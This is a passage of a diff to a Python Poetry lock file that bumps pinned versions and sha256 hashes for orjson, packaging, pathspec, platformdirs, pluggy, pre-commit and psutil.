"sha256:d7345c759276b798ccd6d77a87136029e71e66a8bbf2d2755cbdde1d82e78706"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75bc2e59e6a2ac1dd28901d07115abdebc4563b5b07dd612bf64260a201b1c7f"}, - {file = "orjson-3.11.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:54aae9b654554c3b4edd61896b978568c6daa16af96fa4681c9b5babd469f863"}, - {file = "orjson-3.11.5-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:4bdd8d164a871c4ec773f9de0f6fe8769c2d6727879c37a9666ba4183b7f8228"}, - {file = "orjson-3.11.5-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:a261fef929bcf98a60713bf5e95ad067cea16ae345d9a35034e73c3990e927d2"}, - {file = "orjson-3.11.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c028a394c766693c5c9909dec76b24f37e6a1b91999e8d0c0d5feecbe93c3e05"}, - {file = "orjson-3.11.5-cp313-cp313-win32.whl", hash = "sha256:2cc79aaad1dfabe1bd2d50ee09814a1253164b3da4c00a78c458d82d04b3bdef"}, - {file = "orjson-3.11.5-cp313-cp313-win_amd64.whl", hash = "sha256:ff7877d376add4e16b274e35a3f58b7f37b362abf4aa31863dadacdd20e3a583"}, - {file = "orjson-3.11.5-cp313-cp313-win_arm64.whl", hash = "sha256:59ac72ea775c88b163ba8d21b0177628bd015c5dd060647bbab6e22da3aad287"}, - {file = "orjson-3.11.5-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e446a8ea0a4c366ceafc7d97067bfd55292969143b57e3c846d87fc701e797a0"}, - {file = "orjson-3.11.5-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:53deb5addae9c22bbe3739298f5f2196afa881ea75944e7720681c7080909a81"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:82cd00d49d6063d2b8791da5d4f9d20539c5951f965e45ccf4e96d33505ce68f"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3fd15f9fc8c203aeceff4fda211157fad114dde66e92e24097b3647a08f4ee9e"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9df95000fbe6777bf9820ae82ab7578e8662051bb5f83d71a28992f539d2cda7"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92a8d676748fca47ade5bc3da7430ed7767afe51b2f8100e3cd65e151c0eaceb"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:aa0f513be38b40234c77975e68805506cad5d57b3dfd8fe3baa7f4f4051e15b4"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa1863e75b92891f553b7922ce4ee10ed06db061e104f2b7815de80cdcb135ad"}, - {file = "orjson-3.11.5-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d4be86b58e9ea262617b8ca6251a2f0d63cc132a6da4b5fcc8e0a4128782c829"}, - {file = "orjson-3.11.5-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:b923c1c13fa02084eb38c9c065afd860a5cff58026813319a06949c3af5732ac"}, - {file = "orjson-3.11.5-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:1b6bd351202b2cd987f35a13b5e16471cf4d952b42a73c391cc537974c43ef6d"}, - {file = "orjson-3.11.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:bb150d529637d541e6af06bbe3d02f5498d628b7f98267ff87647584293ab439"}, - {file = "orjson-3.11.5-cp314-cp314-win32.whl", hash = "sha256:9cc1e55c884921434a84a0c3dd2699eb9f92e7b441d7f53f3941079ec6ce7499"}, - {file = "orjson-3.11.5-cp314-cp314-win_amd64.whl", hash = "sha256:a4f3cb2d874e03bc7767c8f88adaa1a9a05cecea3712649c3b58589ec7317310"}, - {file = "orjson-3.11.5-cp314-cp314-win_arm64.whl", hash = "sha256:38b22f476c351f9a1c43e5b07d8b5a02eb24a6ab8e75f700f7d479d4568346a5"}, - {file = "orjson-3.11.5-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1b280e2d2d284a6713b0cfec7b08918ebe57df23e3f76b27586197afca3cb1e9"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c8d8a112b274fae8c5f0f01954cb0480137072c271f3f4958127b010dfefaec"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5f0a2ae6f09ac7bd47d2d5a5305c1d9ed08ac057cda55bb0a49fa506f0d2da00"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c0d87bd1896faac0d10b4f849016db81a63e4ec5df38757ffae84d45ab38aa71"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:801a821e8e6099b8c459ac7540b3c32dba6013437c57fdcaec205b169754f38c"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:69a0f6ac618c98c74b7fbc8c0172ba86f9e01dbf9f62aa0b1776c2231a7bffe5"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fea7339bdd22e6f1060c55ac31b6a755d86a5b2ad3657f2669ec243f8e3b2bdb"}, - {file = "orjson-3.11.5-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4dad582bc93cef8f26513e12771e76385a7e6187fd713157e971c784112aad56"}, - {file = "orjson-3.11.5-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:0522003e9f7fba91982e83a97fec0708f5a714c96c4209db7104e6b9d132f111"}, - {file = "orjson-3.11.5-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:7403851e430a478440ecc1258bcbacbfbd8175f9ac1e39031a7121dd0de05ff8"}, - {file = "orjson-3.11.5-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5f691263425d3177977c8d1dd896cde7b98d93cbf390b2544a090675e83a6a0a"}, - {file = "orjson-3.11.5-cp39-cp39-win32.whl", hash = "sha256:61026196a1c4b968e1b1e540563e277843082e9e97d78afa03eb89315af531f1"}, - {file = "orjson-3.11.5-cp39-cp39-win_amd64.whl", hash = "sha256:09b94b947ac08586af635ef922d69dc9bc63321527a3a04647f4986a73f4bd30"}, - {file = "orjson-3.11.5.tar.gz", hash = "sha256:82393ab47b4fe44ffd0a7659fa9cfaacc717eb617c93cde83795f14af5c2e9d5"}, + {file = "orjson-3.11.7-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174"}, + {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67"}, + {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11"}, + {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc"}, + {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16"}, + {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222"}, + {file = "orjson-3.11.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa"}, + {file = "orjson-3.11.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e"}, + {file = "orjson-3.11.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2"}, + {file = "orjson-3.11.7-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c"}, + {file = "orjson-3.11.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f"}, + {file = "orjson-3.11.7-cp310-cp310-win32.whl", hash = "sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de"}, + {file = "orjson-3.11.7-cp310-cp310-win_amd64.whl", hash = "sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993"}, + {file = "orjson-3.11.7-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c"}, + {file = "orjson-3.11.7-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b"}, + {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e"}, + {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5"}, + {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62"}, + {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910"}, + {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b"}, + {file = "orjson-3.11.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960"}, + {file = "orjson-3.11.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8"}, + {file = "orjson-3.11.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504"}, + {file = "orjson-3.11.7-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e"}, + {file = "orjson-3.11.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561"}, + {file = "orjson-3.11.7-cp311-cp311-win32.whl", hash = "sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d"}, + {file = "orjson-3.11.7-cp311-cp311-win_amd64.whl", hash = "sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471"}, + {file = "orjson-3.11.7-cp311-cp311-win_arm64.whl", hash = "sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d"}, + {file = "orjson-3.11.7-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f"}, + {file = "orjson-3.11.7-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b"}, + {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a"}, + {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10"}, + {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa"}, + {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8"}, + {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f"}, + {file = "orjson-3.11.7-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad"}, + {file = "orjson-3.11.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867"}, + {file = "orjson-3.11.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d"}, + {file = "orjson-3.11.7-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab"}, + {file = "orjson-3.11.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2"}, + {file = "orjson-3.11.7-cp312-cp312-win32.whl", hash = "sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f"}, + {file = "orjson-3.11.7-cp312-cp312-win_amd64.whl", hash = "sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74"}, + {file = "orjson-3.11.7-cp312-cp312-win_arm64.whl", hash = "sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5"}, + {file = "orjson-3.11.7-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733"}, + {file = "orjson-3.11.7-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4"}, + {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785"}, + {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539"}, + {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1"}, + {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1"}, + {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705"}, + {file = "orjson-3.11.7-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace"}, + {file = "orjson-3.11.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b"}, + {file = "orjson-3.11.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157"}, + {file = "orjson-3.11.7-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3"}, + {file = "orjson-3.11.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223"}, + {file = "orjson-3.11.7-cp313-cp313-win32.whl", hash = "sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3"}, + {file = "orjson-3.11.7-cp313-cp313-win_amd64.whl", hash = "sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757"}, + {file = "orjson-3.11.7-cp313-cp313-win_arm64.whl", hash = "sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539"}, + {file = "orjson-3.11.7-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0"}, + {file = "orjson-3.11.7-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0"}, + {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6"}, + {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf"}, + {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5"}, + {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892"}, + {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e"}, + {file = "orjson-3.11.7-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1"}, + {file = "orjson-3.11.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183"}, + {file = "orjson-3.11.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650"}, + {file = "orjson-3.11.7-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141"}, + {file = "orjson-3.11.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2"}, + {file = "orjson-3.11.7-cp314-cp314-win32.whl", hash = "sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576"}, + {file = "orjson-3.11.7-cp314-cp314-win_amd64.whl", hash = "sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1"}, + {file = "orjson-3.11.7-cp314-cp314-win_arm64.whl", hash = "sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d"}, + {file = "orjson-3.11.7.tar.gz", hash = "sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49"}, ] [[package]] name = "packaging" -version = "25.0" +version = "26.0" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" groups = ["main", "dev", "docs"] files = [ - {file = "packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484"}, - {file = "packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f"}, + {file = "packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529"}, + {file = "packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4"}, ] [[package]] @@ -1808,16 +1891,22 @@ lint = ["black"] [[package]] name = "pathspec" -version = "0.12.1" +version = "1.0.4" description = "Utility library for gitignore style pattern matching of file paths." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["docs"] files = [ - {file = "pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08"}, - {file = "pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712"}, + {file = "pathspec-1.0.4-py3-none-any.whl", hash = "sha256:fb6ae2fd4e7c921a165808a552060e722767cfa526f99ca5156ed2ce45a5c723"}, + {file = "pathspec-1.0.4.tar.gz", hash = "sha256:0210e2ae8a21a9137c0d470578cb0e595af87edaa6ebf12ff176f14a02e0e645"}, ] +[package.extras] +hyperscan = ["hyperscan (>=0.7)"] +optional = ["typing-extensions (>=4)"] +re2 = ["google-re2 (>=1.1)"] +tests = ["pytest (>=9)", "typing-extensions (>=4.15)"] + [[package]] name = "pexpect" version = "4.9.0" @@ -1835,36 +1924,36 @@ ptyprocess = ">=0.5" [[package]] name = "platformdirs" -version = "4.3.7" +version = "4.5.1" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev", "docs"] files = [ - {file = "platformdirs-4.3.7-py3-none-any.whl", hash = "sha256:a03875334331946f13c549dbd8f4bac7a13a50a895a0eb1e8c6a8ace80d40a94"}, - {file = "platformdirs-4.3.7.tar.gz", hash = "sha256:eb437d586b6a0986388f0d6f74aa0cde27b48d0e3d66843640bfb6bdcdb6e351"}, + {file = "platformdirs-4.5.1-py3-none-any.whl", hash = "sha256:d03afa3963c806a9bed9d5125c8f4cb2fdaf74a55ab60e5d59b3fde758104d31"}, + {file = "platformdirs-4.5.1.tar.gz", hash = "sha256:61d5cdcc6065745cdd94f0f878977f8de9437be93de97c1c12f853c9c0cdcbda"}, ] [package.extras] -docs = ["furo (>=2024.8.6)", "proselint (>=0.14)", "sphinx (>=8.1.3)", "sphinx-autodoc-typehints (>=3)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.3.4)", "pytest-cov (>=6)", "pytest-mock (>=3.14)"] -type = ["mypy (>=1.14.1)"] +docs = ["furo (>=2025.9.25)", "proselint (>=0.14)", "sphinx (>=8.2.3)", "sphinx-autodoc-typehints (>=3.2)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.4.2)", "pytest-cov (>=7)", "pytest-mock (>=3.15.1)"] +type = ["mypy (>=1.18.2)"] [[package]] name = "pluggy" -version = "1.5.0" +version = "1.6.0" description = "plugin and hook calling mechanisms for python" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"}, - {file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"}, + {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"}, + {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"}, ] [package.extras] dev = ["pre-commit", "tox"] -testing = ["pytest", "pytest-benchmark"] +testing = ["coverage", "pytest", "pytest-benchmark"] [[package]] name = "poetry-dynamic-versioning" @@ -1888,14 +1977,14 @@ plugin = ["poetry (>=1.2.0)"] [[package]] name = "pre-commit" -version = "4.3.0" +version = "4.5.1" description = "A framework for managing and maintaining multi-language pre-commit hooks." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "pre_commit-4.3.0-py2.py3-none-any.whl", hash = "sha256:2b0747ad7e6e967169136edffee14c16e148a778a54e4f967921aa1ebf2308d8"}, - {file = "pre_commit-4.3.0.tar.gz", hash = "sha256:499fe450cc9d42e9d58e606262795ecb64dd05438943c62b66f6a8673da30b16"}, + {file = "pre_commit-4.5.1-py2.py3-none-any.whl", hash = "sha256:3b3afd891e97337708c1674210f8eba659b52a38ea5f822ff142d10786221f77"}, + {file = "pre_commit-4.5.1.tar.gz", hash = "sha256:eb545fcff725875197837263e977ea257a402056661f09dae08e4b149b030a61"}, ] [package.dependencies] @@ -1907,38 +1996,38 @@ virtualenv = ">=20.10.0" [[package]] name = "psutil" -version = "7.2.1" +version = "7.2.2" description = "Cross-platform lib for process and system monitoring." optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "psutil-7.2.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:ba9f33bb525b14c3ea563b2fd521a84d2fa214ec59e3e6a2858f78d0844dd60d"}, - {file = "psutil-7.2.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:81442dac7abfc2f4f4385ea9e12ddf5a796721c0f6133260687fec5c3780fa49"}, - {file = "psutil-7.2.1-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ea46c0d060491051d39f0d2cff4f98d5c72b288289f57a21556cc7d504db37fc"}, - {file = "psutil-7.2.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:35630d5af80d5d0d49cfc4d64c1c13838baf6717a13effb35869a5919b854cdf"}, - {file = "psutil-7.2.1-cp313-cp313t-win_amd64.whl", hash = "sha256:923f8653416604e356073e6e0bccbe7c09990acef442def2f5640dd0faa9689f"}, - {file = "psutil-7.2.1-cp313-cp313t-win_arm64.whl", hash = "sha256:cfbe6b40ca48019a51827f20d830887b3107a74a79b01ceb8cc8de4ccb17b672"}, - {file = "psutil-7.2.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:494c513ccc53225ae23eec7fe6e1482f1b8a44674241b54561f755a898650679"}, - {file = "psutil-7.2.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:3fce5f92c22b00cdefd1645aa58ab4877a01679e901555067b1bd77039aa589f"}, - {file = "psutil-7.2.1-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:93f3f7b0bb07711b49626e7940d6fe52aa9940ad86e8f7e74842e73189712129"}, - {file = "psutil-7.2.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d34d2ca888208eea2b5c68186841336a7f5e0b990edec929be909353a202768a"}, - {file = "psutil-7.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2ceae842a78d1603753561132d5ad1b2f8a7979cb0c283f5b52fb4e6e14b1a79"}, - {file = "psutil-7.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:08a2f175e48a898c8eb8eace45ce01777f4785bc744c90aa2cc7f2fa5462a266"}, - {file = "psutil-7.2.1-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:b2e953fcfaedcfbc952b44744f22d16575d3aa78eb4f51ae74165b4e96e55f42"}, - {file = "psutil-7.2.1-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:05cc68dbb8c174828624062e73078e7e35406f4ca2d0866c272c2410d8ef06d1"}, - {file = 